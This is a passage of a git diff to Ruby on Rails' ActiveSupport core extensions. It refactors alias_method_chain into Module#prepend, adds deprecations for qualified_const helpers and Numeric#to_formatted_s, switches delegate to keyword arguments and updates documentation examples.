class_eval(<<-EOS, __FILE__, __LINE__ + 1) + def #{sym}=(obj) + Thread.current[:"attr_#{name}_#{sym}"] = obj + end + EOS + end + end + end + alias :thread_cattr_writer :thread_mattr_writer + + # Defines both class and instance accessors for class attributes. + # + # class Account + # thread_mattr_accessor :user + # end + # + # Account.user = "DHH" + # Account.user # => "DHH" + # Account.new.user # => "DHH" + # + # If a subclass changes the value, the parent class' value is not changed. + # Similarly, if the parent class changes the value, the value of subclasses + # is not changed. + # + # class Customer < Account + # end + # + # Customer.user = "Rafael" + # Customer.user # => "Rafael" + # Account.user # => "DHH" + # + # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>. + # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>. + # + # class Current + # thread_mattr_accessor :user, instance_writer: false, instance_reader: false + # end + # + # Current.new.user = "DHH" # => NoMethodError + # Current.new.user # => NoMethodError + # + # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods. + # + # class Current + # mattr_accessor :user, instance_accessor: false + # end + # + # Current.new.user = "DHH" # => NoMethodError + # Current.new.user # => NoMethodError + def thread_mattr_accessor(*syms, &blk) + thread_mattr_reader(*syms, &blk) + thread_mattr_writer(*syms, &blk) + end + alias :thread_cattr_accessor :thread_mattr_accessor +end diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb index 07a392404e..65b88b9bbd 100644 --- a/activesupport/lib/active_support/core_ext/module/concerning.rb +++ b/activesupport/lib/active_support/core_ext/module/concerning.rb @@ -63,10 +63,10 @@ class Module # # == Mix-in noise exiled to its own file: # - # Once our chunk of behavior starts pushing the scroll-to-understand it's + # Once our chunk of behavior starts pushing the scroll-to-understand-it # boundary, we give in and move it to a separate file. At this size, the - # overhead feels in good proportion to the size of our extraction, despite - # diluting our at-a-glance sense of how things really work. + # increased overhead can be a reasonable tradeoff even if it reduces our + # at-a-glance perception of how things work. # # class Todo # # Other todo implementation @@ -99,7 +99,7 @@ class Module # end # # Todo.ancestors - # # => Todo, Todo::EventTracking, Object + # # => [Todo, Todo::EventTracking, Object] # # This small step has some wonderful ripple effects. We can # * grok the behavior of our class in one glance, diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb index 9b7a429db9..24450cd221 100644 --- a/activesupport/lib/active_support/core_ext/module/delegation.rb +++ b/activesupport/lib/active_support/core_ext/module/delegation.rb @@ -5,10 +5,11 @@ class Module # option is not used. class DelegationError < NoMethodError; end - RUBY_RESERVED_WORDS = Set.new( - %w(alias and BEGIN begin break case class def defined? do else elsif END - end ensure false for if in module next nil not or redo rescue retry - return self super then true undef unless until when while yield) + DELEGATION_RESERVED_METHOD_NAMES = Set.new( + %w(_ arg args alias and BEGIN begin block break case class def defined? do + else elsif END end ensure false for if in module next nil not or redo + rescue retry return self super then true undef unless until when while + yield) ).freeze # Provides a +delegate+ class method to easily expose contained objects' @@ -148,14 +149,11 @@ class Module # # The target method must be public, otherwise it will raise +NoMethodError+. # - def delegate(*methods) - options = methods.pop - unless options.is_a?(Hash) && to = options[:to] + def delegate(*methods, to: nil, prefix: nil, allow_nil: nil) + unless to raise ArgumentError, 'Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, to: :greeter).' end - prefix, allow_nil = options.values_at(:prefix, :allow_nil) - if prefix == true && to =~ /^[^a-z_]/ raise ArgumentError, 'Can only automatically set the delegation prefix when delegating to a method.' end @@ -167,11 +165,11 @@ class Module '' end - file, line = caller(1, 1).first.split(':', 2) + file, line = caller(1, 1).first.split(':'.freeze, 2) line = line.to_i to = to.to_s - to = "self.#{to}" if RUBY_RESERVED_WORDS.include?(to) + to = "self.#{to}" if DELEGATION_RESERVED_METHOD_NAMES.include?(to) methods.each do |method| # Attribute writer methods only accept one argument. Makes sure []= diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb index 56d670fbe8..f3f2e7f5fc 100644 --- a/activesupport/lib/active_support/core_ext/module/deprecation.rb +++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb @@ -13,8 +13,8 @@ class Module # # class MyLib::Deprecator # def deprecation_warning(deprecated_method_name, message, caller_backtrace = nil) - # message = "#{deprecated_method_name} is deprecated and will be removed from MyLibrary | #{message}" - # Kernel.warn message + # message = "#{deprecated_method_name} is deprecated and will be removed from MyLibrary | #{message}" + # Kernel.warn message # end # end def deprecate(*method_names) diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb index f1d26ef28f..fa692e1b0e 100644 --- a/activesupport/lib/active_support/core_ext/module/introspection.rb +++ b/activesupport/lib/active_support/core_ext/module/introspection.rb @@ -57,6 +57,10 @@ class Module end def local_constants #:nodoc: + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Module#local_constants is deprecated and will be removed in Rails 5.1. + Use Module#constants(false) instead. + MSG constants(false) end end diff --git a/activesupport/lib/active_support/core_ext/module/qualified_const.rb b/activesupport/lib/active_support/core_ext/module/qualified_const.rb index 65525013db..3ea39d4267 100644 --- a/activesupport/lib/active_support/core_ext/module/qualified_const.rb +++ b/activesupport/lib/active_support/core_ext/module/qualified_const.rb @@ -3,13 +3,16 @@ require 'active_support/core_ext/string/inflections' #-- # Allows code reuse in the methods below without polluting Module. #++ -module QualifiedConstUtils - def self.raise_if_absolute(path) - raise NameError.new("wrong constant name #$&") if path =~ /\A::[^:]+/ - end - def self.names(path) - path.split('::') +module ActiveSupport + module QualifiedConstUtils + def self.raise_if_absolute(path) + raise NameError.new("wrong constant name #$&") if path =~ /\A::[^:]+/ + end + + def self.names(path) + path.split('::') + end end end @@ -24,9 +27,14 @@ end #++ class Module def qualified_const_defined?(path, search_parents=true) - QualifiedConstUtils.raise_if_absolute(path) + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + Module#qualified_const_defined? is deprecated in favour of the builtin + Module#const_defined? and will be removed in Rails 5.1. + MESSAGE - QualifiedConstUtils.names(path).inject(self) do |mod, name| + ActiveSupport::QualifiedConstUtils.raise_if_absolute(path) + + ActiveSupport::QualifiedConstUtils.names(path).inject(self) do |mod, name| return unless mod.const_defined?(name, search_parents) mod.const_get(name) end @@ -34,19 +42,29 @@ class Module end def qualified_const_get(path) - QualifiedConstUtils.raise_if_absolute(path) + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + Module#qualified_const_get is deprecated in favour of the builtin + Module#const_get and will be removed in Rails 5.1. + MESSAGE + + ActiveSupport::QualifiedConstUtils.raise_if_absolute(path) - QualifiedConstUtils.names(path).inject(self) do |mod, name| + ActiveSupport::QualifiedConstUtils.names(path).inject(self) do |mod, name| mod.const_get(name) end end def qualified_const_set(path, value) - QualifiedConstUtils.raise_if_absolute(path) + ActiveSupport::Deprecation.warn(<<-MESSAGE.squish) + Module#qualified_const_set is deprecated in favour of the builtin + Module#const_set and will be removed in Rails 5.1. + MESSAGE + + ActiveSupport::QualifiedConstUtils.raise_if_absolute(path) const_name = path.demodulize mod_name = path.deconstantize - mod = mod_name.empty? ? self : qualified_const_get(mod_name) + mod = mod_name.empty? ? self : const_get(mod_name) mod.const_set(const_name, value) end end diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb index 52632d2c6b..d5ec16d68a 100644 --- a/activesupport/lib/active_support/core_ext/module/remove_method.rb +++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb @@ -6,10 +6,30 @@ class Module end end + # Removes the named singleton method, if it exists. + def remove_possible_singleton_method(method) + singleton_class.instance_eval do + remove_possible_method(method) + end + end + # Replaces the existing method definition, if there is one, with the passed # block as its body. def redefine_method(method, &block) + visibility = method_visibility(method) remove_possible_method(method) define_method(method, &block) + send(visibility, method) + end + + def method_visibility(method) # :nodoc: + case + when private_method_defined?(method) + :private + when protected_method_defined?(method) + :protected + else + :public + end end end diff --git a/activesupport/lib/active_support/core_ext/numeric.rb b/activesupport/lib/active_support/core_ext/numeric.rb index a6bc0624be..bcdc3eace2 100644 --- a/activesupport/lib/active_support/core_ext/numeric.rb +++ b/activesupport/lib/active_support/core_ext/numeric.rb @@ -1,3 +1,4 @@ require 'active_support/core_ext/numeric/bytes' require 'active_support/core_ext/numeric/time' +require 'active_support/core_ext/numeric/inquiry' require 'active_support/core_ext/numeric/conversions' diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb index 0c8ff79237..b25925b9d4 100644 --- a/activesupport/lib/active_support/core_ext/numeric/conversions.rb +++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb @@ -1,7 +1,8 @@ require 'active_support/core_ext/big_decimal/conversions' require 'active_support/number_helper' +require 'active_support/core_ext/module/deprecation' -class Numeric +module ActiveSupport::NumericWithFormat # Provides options for converting numbers into formatted strings. # Options are provided for phone numbers, currency, percentage, @@ -14,71 +15,73 @@ class Numeric # ==== Examples # # Phone Numbers: - # 5551234.to_s(:phone) # => 555-1234 - # 1235551234.to_s(:phone) # => 123-555-1234 - # 1235551234.to_s(:phone, area_code: true) # => (123) 555-1234 - # 1235551234.to_s(:phone, delimiter: ' ') # => 123 555 1234 - # 1235551234.to_s(:phone, area_code: true, extension: 555) # => (123) 555-1234 x 555 - # 1235551234.to_s(:phone, country_code: 1) # => +1-123-555-1234 + # 5551234.to_s(:phone) # => "555-1234" + # 1235551234.to_s(:phone) # => "123-555-1234" + # 1235551234.to_s(:phone, area_code: true) # => "(123) 555-1234" + # 1235551234.to_s(:phone, delimiter: ' ') # => "123 555 1234" + # 1235551234.to_s(:phone, area_code: true, extension: 555) # => "(123) 555-1234 x 555" + # 1235551234.to_s(:phone, country_code: 1) # => "+1-123-555-1234" # 1235551234.to_s(:phone, country_code: 1, extension: 1343, delimiter: '.') - # # => +1.123.555.1234 x 1343 + # # => "+1.123.555.1234 x 1343" # # Currency: - # 1234567890.50.to_s(:currency) # => $1,234,567,890.50 - # 1234567890.506.to_s(:currency) # => $1,234,567,890.51 - # 1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506 - # 1234567890.506.to_s(:currency, locale: :fr) # => 1 234 567 890,51 € + # 1234567890.50.to_s(:currency) # => "$1,234,567,890.50" + # 1234567890.506.to_s(:currency) # => "$1,234,567,890.51" + # 1234567890.506.to_s(:currency, precision: 3) # => "$1,234,567,890.506" + # 1234567890.506.to_s(:currency, locale: :fr) # => "1 234 567 890,51 €" # -1234567890.50.to_s(:currency, negative_format: '(%u%n)') - # # => ($1,234,567,890.50) + # # => "($1,234,567,890.50)" # 1234567890.50.to_s(:currency, unit: '£', separator: ',', delimiter: '') - # # => £1234567890,50 + # # => "£1234567890,50" # 1234567890.50.to_s(:currency, unit: '£', separator: ',', delimiter: '', format: '%n %u') - # # => 1234567890,50 £ + # # => "1234567890,50 £" # # Percentage: - # 100.to_s(:percentage) # => 100.000% - # 100.to_s(:percentage, precision: 0) # => 100% - # 1000.to_s(:percentage, delimiter: '.', separator: ',') # => 1.000,000% - # 302.24398923423.to_s(:percentage, precision: 5) # => 302.24399% - # 1000.to_s(:percentage, locale: :fr) # => 1 000,000% - # 100.to_s(:percentage, format: '%n %') # => 100 % + # 100.to_s(:percentage) # => "100.000%" + # 100.to_s(:percentage, precision: 0) # => "100%" + # 1000.to_s(:percentage, delimiter: '.', separator: ',') # => "1.000,000%" + # 302.24398923423.to_s(:percentage, precision: 5) # => "302.24399%" + # 1000.to_s(:percentage, locale: :fr) # => "1 000,000%" + # 100.to_s(:percentage, format: '%n %') # => "100.000 %" # # Delimited: - # 12345678.to_s(:delimited) # => 12,345,678 - # 12345678.05.to_s(:delimited) # => 12,345,678.05 - # 12345678.to_s(:delimited, delimiter: '.') # => 12.345.678 - # 12345678.to_s(:delimited, delimiter: ',') # => 12,345,678 - # 12345678.05.to_s(:delimited, separator: ' ') # => 12,345,678 05 - # 12345678.05.to_s(:delimited, locale: :fr) # => 12 345 678,05 + # 12345678.to_s(:delimited) # => "12,345,678" + # 12345678.05.to_s(:delimited) # => "12,345,678.05" + # 12345678.to_s(:delimited, delimiter: '.') # => "12.345.678" + # 12345678.to_s(:delimited, delimiter: ',') # => "12,345,678" + # 12345678.05.to_s(:delimited, separator: ' ') # => "12,345,678 05" + # 12345678.05.to_s(:delimited, locale: :fr) # => "12 345 678,05" # 98765432.98.to_s(:delimited, delimiter: ' ', separator: ',') - # # => 98 765 432,98 + # # => "98 765 432,98" # # Rounded: - # 111.2345.to_s(:rounded) # => 111.235 - # 111.2345.to_s(:rounded, precision: 2) # => 111.23 - # 13.to_s(:rounded, precision: 5) # => 13.00000 - # 389.32314.to_s(:rounded, precision: 0) # => 389 - # 111.2345.to_s(:rounded, significant: true) # => 111 - # 111.2345.to_s(:rounded, precision: 1, significant: true) # => 100 - # 13.to_s(:rounded, precision: 5, significant: true) # => 13.000 - # 111.234.to_s(:rounded, locale: :fr) # => 111,234 + # 111.2345.to_s(:rounded) # => "111.235" + # 111.2345.to_s(:rounded, precision: 2) # => "111.23" + # 13.to_s(:rounded, precision: 5) # => "13.00000" + # 389.32314.to_s(:rounded, precision: 0) # => "389" + # 111.2345.to_s(:rounded, significant: true) # => "111" + # 111.2345.to_s(:rounded, precision: 1, significant: true) # => "100" + # 13.to_s(:rounded, precision: 5, significant: true) # => "13.000" + # 111.234.to_s(:rounded, locale: :fr) # => "111,234" # 13.to_s(:rounded, precision: 5, significant: true, strip_insignificant_zeros: true) - # # => 13 - # 389.32314.to_s(:rounded, precision: 4, significant: true) # => 389.3 + # # => "13" + # 389.32314.to_s(:rounded, precision: 4, significant: true) # => "389.3" # 1111.2345.to_s(:rounded, precision: 2, separator: ',', delimiter: '.') - # # => 1.111,23 + # # => "1.111,23" # # Human-friendly size in Bytes: - # 123.to_s(:human_size) # => 123 Bytes - # 1234.to_s(:human_size) # => 1.21 KB - # 12345.to_s(:human_size) # => 12.1 KB - # 1234567.to_s(:human_size) # => 1.18 MB - # 1234567890.to_s(:human_size) # => 1.15 GB - # 1234567890123.to_s(:human_size) # => 1.12 TB - # 1234567.to_s(:human_size, precision: 2) # => 1.2 MB - # 483989.to_s(:human_size, precision: 2) # => 470 KB - # 1234567.to_s(:human_size, precision: 2, separator: ',') # => 1,2 MB - # 1234567890123.to_s(:human_size, precision: 5) # => "1.1229 TB" + # 123.to_s(:human_size) # => "123 Bytes" + # 1234.to_s(:human_size) # => "1.21 KB" + # 12345.to_s(:human_size) # => "12.1 KB" + # 1234567.to_s(:human_size) # => "1.18 MB" + # 1234567890.to_s(:human_size) # => "1.15 GB" + # 1234567890123.to_s(:human_size) # => "1.12 TB" + # 1234567890123456.to_s(:human_size) # => "1.1 PB" + # 1234567890123456789.to_s(:human_size) # => "1.07 EB" + # 1234567.to_s(:human_size, precision: 2) # => "1.2 MB" + # 483989.to_s(:human_size, precision: 2) # => "470 KB" + # 1234567.to_s(:human_size, precision: 2, separator: ',') # => "1,2 MB" + # 1234567890123.to_s(:human_size, precision: 5) # => "1.1228 TB" # 524288000.to_s(:human_size, precision: 5) # => "500 MB" # # Human-friendly format: @@ -97,7 +100,10 @@ class Numeric # 1234567.to_s(:human, precision: 1, # separator: ',', # significant: false) # => "1,2 Million" - def to_formatted_s(format = :default, options = {}) + def to_s(*args) + format, options = args + options ||= {} + case format when :phone return ActiveSupport::NumberHelper.number_to_phone(self, options) @@ -114,32 +120,20 @@ class Numeric when :human_size return ActiveSupport::NumberHelper.number_to_human_size(self, options) else - self.to_default_s - end - end - - [Fixnum, Bignum].each do |klass| - klass.class_eval do - alias_method :to_default_s, :to_s - def to_s(base_or_format = 10, options = nil) - if base_or_format.is_a?(Symbol) - to_formatted_s(base_or_format, options || {}) - else - to_default_s(base_or_format) - end + if is_a?(Float) || format.is_a?(Symbol) + super() + else + super end end end - Float.class_eval do - alias_method :to_default_s, :to_s - def to_s(*args) - if args.empty? - to_default_s - else - to_formatted_s(*args) - end - end + def to_formatted_s(*args) + to_s(*args) end + deprecate to_formatted_s: :to_s +end +[Fixnum, Bignum, Float, BigDecimal].each do |klass| + klass.prepend(ActiveSupport::NumericWithFormat) end diff --git a/activesupport/lib/active_support/core_ext/numeric/inquiry.rb b/activesupport/lib/active_support/core_ext/numeric/inquiry.rb new file mode 100644 index 0000000000..7e7ac1b0b2 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/numeric/inquiry.rb @@ -0,0 +1,26 @@ +unless 1.respond_to?(:positive?) # TODO: Remove this file when we drop support to ruby < 2.3 +class Numeric + # Returns true if the number is positive. + # + # 1.positive? # => true + # 0.positive? # => false + # -1.positive? # => false + def positive? + self > 0 + end + + # Returns true if the number is negative. + # + # -1.negative? # => true + # 0.negative? # => false + # 1.negative? # => false + def negative? + self < 0 + end +end + +class Complex + undef :positive? + undef :negative? +end +end diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb index 98716383f4..c6ece22f8d 100644 --- a/activesupport/lib/active_support/core_ext/numeric/time.rb +++ b/activesupport/lib/active_support/core_ext/numeric/time.rb @@ -18,21 +18,6 @@ class Numeric # # # equivalent to Time.current.advance(months: 4, years: 5) # (4.months + 5.years).from_now - # - # While these methods provide precise calculation when used as in the examples above, care - # should be taken to note that this is not true if the result of `months', `years', etc is - # converted before use: - # - # # equivalent to 30.days.to_i.from_now - # 1.month.to_i.from_now - # - # # equivalent to 365.25.days.to_f.from_now - # 1.year.to_f.from_now - # - # In such cases, Ruby's core - # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and - # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision - # date and time arithmetic. def seconds ActiveSupport::Duration.new(self, [[:seconds, self]]) end @@ -40,17 +25,17 @@ class Numeric # Returns a Duration instance matching the number of minutes provided. # - # 2.minutes # => 120 seconds + # 2.minutes # => 2 minutes def minutes - ActiveSupport::Duration.new(self * 60, [[:seconds, self * 60]]) + ActiveSupport::Duration.new(self * 60, [[:minutes, self]]) end alias :minute :minutes # Returns a Duration instance matching the number of hours provided. # - # 2.hours # => 7_200 seconds + # 2.hours # => 2 hours def hours - ActiveSupport::Duration.new(self * 3600, [[:seconds, self * 3600]]) + ActiveSupport::Duration.new(self * 3600, [[:hours, self]]) end alias :hour :hours @@ -64,17 +49,17 @@ class Numeric # Returns a Duration instance matching the number of weeks provided. # - # 2.weeks # => 14 days + # 2.weeks # => 2 weeks def weeks - ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]]) + ActiveSupport::Duration.new(self * 7.days, [[:weeks, self]]) end alias :week :weeks # Returns a Duration instance matching the number of fortnights provided. # - # 2.fortnights # => 28 days + # 2.fortnights # => 4 weeks def fortnights - ActiveSupport::Duration.new(self * 2.weeks, [[:days, self * 14]]) + ActiveSupport::Duration.new(self * 2.weeks, [[:weeks, self * 2]]) end alias :fortnight :fortnights diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb index 38e43478df..cb74bad73e 100644 --- a/activesupport/lib/active_support/core_ext/object/blank.rb +++ b/activesupport/lib/active_support/core_ext/object/blank.rb @@ -1,12 +1,10 @@ -# encoding: utf-8 - class Object # An object is blank if it's false, empty, or a whitespace string. - # For example, '', ' ', +nil+, [], and {} are all blank. + # For example, +false+, '', ' ', +nil+, [], and {} are all blank. # # This simplifies # - # address.nil? || address.empty? + # !address || address.empty? # # to # @@ -114,7 +112,10 @@ class String # # @return [true, false] def blank? - BLANK_RE === self + # The regexp that matches blank strings is expensive. For the case of empty + # strings we can speed up this method (~3.5x) with an empty? call. The + # penalty for the rest of strings is marginal. + empty? || BLANK_RE === self end end @@ -129,3 +130,14 @@ class Numeric #:nodoc: false end end + +class Time #:nodoc: + # No Time is blank: + # + # Time.now.blank? # => false + # + # @return [false] + def blank? + false + end +end diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb index 0191d2e973..8dfeed0066 100644 --- a/activesupport/lib/active_support/core_ext/object/deep_dup.rb +++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb @@ -39,8 +39,15 @@ class Hash # hash[:a][:c] # => nil # dup[:a][:c] # => "c" def deep_dup - each_with_object(dup) do |(key, value), hash| - hash[key.deep_dup] = value.deep_dup + hash = dup + each_pair do |key, value| + if key.frozen? && ::String === key + hash[key] = value.deep_dup + else + hash.delete(key) + hash[key.deep_dup] = value.deep_dup + end end + hash end end diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb index 620f7b6561..befa5aee21 100644 --- a/activesupport/lib/active_support/core_ext/object/duplicable.rb +++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb @@ -19,7 +19,7 @@ class Object # Can you safely dup this object? # - # False for +nil+, +false+, +true+, symbol, number objects; + # False for +nil+, +false+, +true+, symbol, number, method objects; # true otherwise. def duplicable? true @@ -78,6 +78,10 @@ end require 'bigdecimal' class BigDecimal + # BigDecimals are duplicable: + # + # BigDecimal.new("1.2").duplicable? # => true + # BigDecimal.new("1.2").dup # => #<BigDecimal:...,'0.12E1',18(18)> def duplicable? true end diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb index 55f281b213..d4c17dfb07 100644 --- a/activesupport/lib/active_support/core_ext/object/inclusion.rb +++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb @@ -5,7 +5,7 @@ class Object # characters = ["Konata", "Kagami", "Tsukasa"] # "Konata".in?(characters) # => true # - # This will throw an ArgumentError if the argument doesn't respond + # This will throw an +ArgumentError+ if the argument doesn't respond # to +#include?+. def in?(another_object) another_object.include?(self) @@ -18,7 +18,7 @@ class Object # # params[:bucket_type].presence_in %w( project calendar ) # - # This will throw an ArgumentError if the argument doesn't respond to +#include?+. + # This will throw an +ArgumentError+ if the argument doesn't respond to +#include?+. # # @return [Object] def presence_in(another_object) diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb index 698b2d1920..d49b2fbe54 100644 --- a/activesupport/lib/active_support/core_ext/object/json.rb +++ b/activesupport/lib/active_support/core_ext/object/json.rb @@ -9,7 +9,6 @@ require 'time' require 'active_support/core_ext/time/conversions' require 'active_support/core_ext/date_time/conversions' require 'active_support/core_ext/date/conversions' -require 'active_support/core_ext/module/aliasing' # The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting # their default behavior. That said, we need to define the basic to_json method in all of them, @@ -26,22 +25,25 @@ require 'active_support/core_ext/module/aliasing' # bypassed completely. This means that as_json won't be invoked and the JSON gem will simply # ignore any options it does not natively understand. This also means that ::JSON.{generate,dump} # should give exactly the same results with or without active support. -[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].each do |klass| - klass.class_eval do - def to_json_with_active_support_encoder(options = nil) + +module ActiveSupport + module ToJsonWithActiveSupportEncoder # :nodoc: + def to_json(options = nil) if options.is_a?(::JSON::State) # Called from JSON.{generate,dump}, forward it to JSON gem's to_json - self.to_json_without_active_support_encoder(options) + super(options) else # to_json is being invoked directly, use ActiveSupport's encoder ActiveSupport::JSON.encode(self, options) end end - - alias_method_chain :to_json, :active_support_encoder end end +[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].reverse_each do |klass| + klass.prepend(ActiveSupport::ToJsonWithActiveSupportEncoder) +end + class Object def as_json(options = nil) #:nodoc: if respond_to?(:to_hash) @@ -195,3 +197,9 @@ class Process::Status #:nodoc: { :exitstatus => exitstatus, :pid => pid } end end + +class Exception + def as_json(options = nil) + to_s + end +end diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb index e0f70b9caa..8c16d95b62 100644 --- a/activesupport/lib/active_support/core_ext/object/try.rb +++ b/activesupport/lib/active_support/core_ext/object/try.rb @@ -1,4 +1,34 @@ +require 'delegate' + +module ActiveSupport + module Tryable #:nodoc: + def try(*a, &b) + try!(*a, &b) if a.empty? || respond_to?(a.first) + end + + def try!(*a, &b) + if a.empty? && block_given? + if b.arity == 0 + instance_eval(&b) + else + yield self + end + else + public_send(*a, &b) + end + end + end +end + class Object + include ActiveSupport::Tryable + + ## + # :method: try + # + # :call-seq: + # try(*a, &b) + # # Invokes the public method whose name goes as first argument just like # +public_send+ does, except that if the receiver does not respond to it the # call returns +nil+ rather than raising an exception. @@ -56,30 +86,40 @@ class Object # # Please also note that +try+ is defined on +Object+. Therefore, it won't work # with instances of classes that do not have +Object+ among their ancestors, - # like direct subclasses of +BasicObject+. For example, using +try+ with - # +SimpleDelegator+ will delegate +try+ to the target instead of calling it on - # the delegator itself. - def try(*a, &b) - try!(*a, &b) if a.empty? || respond_to?(a.first) - end + # like direct subclasses of +BasicObject+. - # Same as #try, but raises a NoMethodError exception if the receiver is + ## + # :method: try! + # + # :call-seq: + # try!(*a, &b) + # + # Same as #try, but raises a +NoMethodError+ exception if the receiver is # not +nil+ and does not implement the tried method. # # "a".try!(:upcase) # => "A" # nil.try!(:upcase) # => nil # 123.try!(:upcase) # => NoMethodError: undefined method `upcase' for 123:Fixnum - def try!(*a, &b) - if a.empty? && block_given? - if b.arity.zero? - instance_eval(&b) - else - yield self - end - else - public_send(*a, &b) - end - end +end + +class Delegator + include ActiveSupport::Tryable + + ## + # :method: try + # + # :call-seq: + # try(a*, &b) + # + # See Object#try + + ## + # :method: try! + # + # :call-seq: + # try!(a*, &b) + # + # See Object#try! end class NilClass diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb index 7d38e1d134..513c8b1d55 100644 --- a/activesupport/lib/active_support/core_ext/object/with_options.rb +++ b/activesupport/lib/active_support/core_ext/object/with_options.rb @@ -7,7 +7,7 @@ class Object # provided. Each method called on the block variable must take an options # hash as its final argument. # - # Without <tt>with_options></tt>, this code contains duplication: + # Without <tt>with_options</tt>, this code contains duplication: # # class Account < ActiveRecord::Base # has_many :customers, dependent: :destroy diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb index 83eced50bf..965436c23a 100644 --- a/activesupport/lib/active_support/core_ext/range/conversions.rb +++ b/activesupport/lib/active_support/core_ext/range/conversions.rb @@ -1,34 +1,31 @@ -class Range +module ActiveSupport::RangeWithFormat RANGE_FORMATS = { :db => Proc.new { |start, stop| "BETWEEN '#{start.to_s(:db)}' AND '#{stop.to_s(:db)}'" } } # Convert range to a formatted string. See RANGE_FORMATS for predefined formats. # - # This method is aliased to <tt>to_s</tt>. - # # range = (1..100) # => 1..100 # - # range.to_formatted_s # => "1..100" # range.to_s # => "1..100" - # - # range.to_formatted_s(:db) # => "BETWEEN '1' AND '100'" # range.to_s(:db) # => "BETWEEN '1' AND '100'" # - # == Adding your own range formats to to_formatted_s + # == Adding your own range formats to to_s # You can add your own formats to the Range::RANGE_FORMATS hash. # Use the format name as the hash key and a Proc instance. # # # config/initializers/range_formats.rb # Range::RANGE_FORMATS[:short] = ->(start, stop) { "Between #{start.to_s(:db)} and #{stop.to_s(:db)}" } - def to_formatted_s(format = :default) + def to_s(format = :default) if formatter = RANGE_FORMATS[format] formatter.call(first, last) else - to_default_s + super() end end alias_method :to_default_s, :to_s - alias_method :to_s, :to_formatted_s + alias_method :to_formatted_s, :to_s end + +Range.prepend(ActiveSupport::RangeWithFormat) diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb index ecef78f55f..dc6dad5ced 100644 --- a/activesupport/lib/active_support/core_ext/range/each.rb +++ b/activesupport/lib/active_support/core_ext/range/each.rb @@ -1,23 +1,21 @@ -require 'active_support/core_ext/module/aliasing' +module ActiveSupport + module EachTimeWithZone #:nodoc: + def each(&block) + ensure_iteration_allowed + super + end -class Range #:nodoc: + def step(n = 1, &block) + ensure_iteration_allowed + super + end - def each_with_time_with_zone(&block) - ensure_iteration_allowed - each_without_time_with_zone(&block) - end - alias_method_chain :each, :time_with_zone + private - def step_with_time_with_zone(n = 1, &block) - ensure_iteration_allowed - step_without_time_with_zone(n, &block) - end - alias_method_chain :step, :time_with_zone - - private - def ensure_iteration_allowed - if first.is_a?(Time) - raise TypeError, "can't iterate from #{first.class}" - end + def ensure_iteration_allowed + raise TypeError, "can't iterate from #{first.class}" if first.is_a?(Time) + end end end + +Range.prepend(ActiveSupport::EachTimeWithZone) diff --git a/activesupport/lib/active_support/core_ext/range/include_range.rb b/activesupport/lib/active_support/core_ext/range/include_range.rb index 3a07401c8a..c69e1e3fb9 100644 --- a/activesupport/lib/active_support/core_ext/range/include_range.rb +++ b/activesupport/lib/active_support/core_ext/range/include_range.rb @@ -1,23 +1,23 @@ -require 'active_support/core_ext/module/aliasing' - -class Range - # Extends the default Range#include? to support range comparisons. - # (1..5).include?(1..5) # => true - # (1..5).include?(2..3) # => true - # (1..5).include?(2..6) # => false - # - # The native Range#include? behavior is untouched. - # ('a'..'f').include?('c') # => true - # (5..9).include?(11) # => false - def include_with_range?(value) - if value.is_a?(::Range) - # 1...10 includes 1..9 but it does not include 1..10. - operator = exclude_end? && !value.exclude_end? ? :< : :<= - include_without_range?(value.first) && value.last.send(operator, last) - else - include_without_range?(value) +module ActiveSupport + module IncludeWithRange #:nodoc: + # Extends the default Range#include? to support range comparisons. + # (1..5).include?(1..5) # => true + # (1..5).include?(2..3) # => true + # (1..5).include?(2..6) # => false + # + # The native Range#include? behavior is untouched. + # 